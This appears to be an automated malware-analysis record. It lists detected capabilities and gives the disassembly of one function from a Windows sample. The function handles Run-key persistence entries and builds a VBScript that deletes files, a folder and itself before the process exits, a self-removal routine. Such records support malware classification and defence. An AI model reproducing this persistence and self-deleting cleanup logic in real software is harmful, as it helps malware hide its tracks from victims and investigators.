Function at 0x40d0d1
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
sub esp, 0x29c
push ebx
push ebp
push esi
push edi
call fcn.0041288b
cmp dword [0x47514c], 0
je 0x40d0f3
mov ecx, 0x475100
call fcn.0040b8e7
xor ebx, ebx
inc ebx
cmp byte [0x472d95], bl
jne 0x40d103
call fcn.00419b25
cmp byte [0x472a85], 0
je 0x40d11d
mov ecx, 0x474d74
call fcn.00401f04
mov ecx, eax
call fcn.0041c322
mov esi, 0x4752d0
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0x472b49], bl
jne 0x40d144
mov ecx, esi
call fcn.00401f04
push eax
mov edx, edi
mov ecx, closesocket
call fcn.00413a5e
pop ecx
mov ebp, closesocket
cmp byte [0x472b3e], bl
jne 0x40d163
mov ecx, esi
call fcn.00401f04
push eax
mov edx, edi
mov ecx, ebp
call fcn.00413a5e
pop ecx
cmp byte [0x472b3f], bl
jne 0x40d180
mov ecx, esi
call fcn.00401f04
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, ebp
call fcn.00413a5e
pop ecx
mov ebx, 0x208
lea eax, [esp + 0xa0]
push ebx
xor edi, edi
push edi
push eax
call fcn.00436f10
add esp, 0xc
mov esi, 0x475348
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
push ebx
lea eax, [esp + 0xac]
mov esi, 0x475300
push eax
push str.exepath
mov ecx, esi
call fcn.00401fab
mov edx, eax
call fcn.00413733
add esp, 0x14
test al, al
jne 0x40d1e6
push ebx
lea eax, [esp + 0xa4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, esi
call fcn.00401fab
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ebp, 0x466478
mov ebx, 0x475318
mov edx, ebp
mov ecx, ebx
call fcn.004077f2
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test al, al
je 0x40d225
push 0x80
mov ecx, ebx
call fcn.00401f04
push eax
call esi
push 0x80
lea eax, [esp + 0xa4]
push eax
call esi
mov ebx, eax
lea ecx, [esp + 0x10]
neg ebx
push str..vbs
sbb bl, bl
call fcn.0041ba09
mov edx, eax
lea ecx, [esp + 0x44]
call fcn.0041bcef
mov edx, eax
lea ecx, [esp + 0x8c]
call fcn.00403014
pop ecx
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x10]
call fcn.00401fd8
lea eax, [esp + 0x88]
push eax
push 0x466618
push 0x466f98
call fcn.0043c11f
pop ecx
push eax
lea ecx, [esp + 0x4c]
call fcn.0040417e
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.0040431d
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x14]
call fcn.0040417e
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x2c]
call fcn.004042fc
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401f09
and bl, 1
je 0x40d343
push 0x467040
lea eax, [esp + 0xa4]
push eax
lea ecx, [esp + 0x60]
call fcn.0040417e
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.004042fc
pop ecx
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.0040325d
lea ecx, [esp + 0x10]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x58]
call fcn.00401f09
push 0x467078
lea eax, [esp + 0xa4]
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x4c]
call fcn.0040417e
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.0040325d
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x10]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
test bl, bl
je 0x40d3ad
push str.wend_n
lea ecx, [esp + 0x2c]
call fcn.0040908d
mov esi, 0x475318
mov edx, ebp
mov ecx, esi
call fcn.004077f2
test al, al
je 0x40d3fc
push 0x467078
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x18]
call fcn.0040b9b7
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.0040325d
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x10]
call fcn.00401f09
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x2c]
call fcn.0040908d
push edi
lea ecx, [esp + 0x74]
call fcn.00401f04
push eax
lea ecx, [esp + 0x30]
call fcn.0040247c
mov esi, eax
lea ecx, [esp + 0x30]
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c482
pop ecx
pop ecx
test al, al
je 0x40d453
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00401f04
push eax
push 0x466118
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]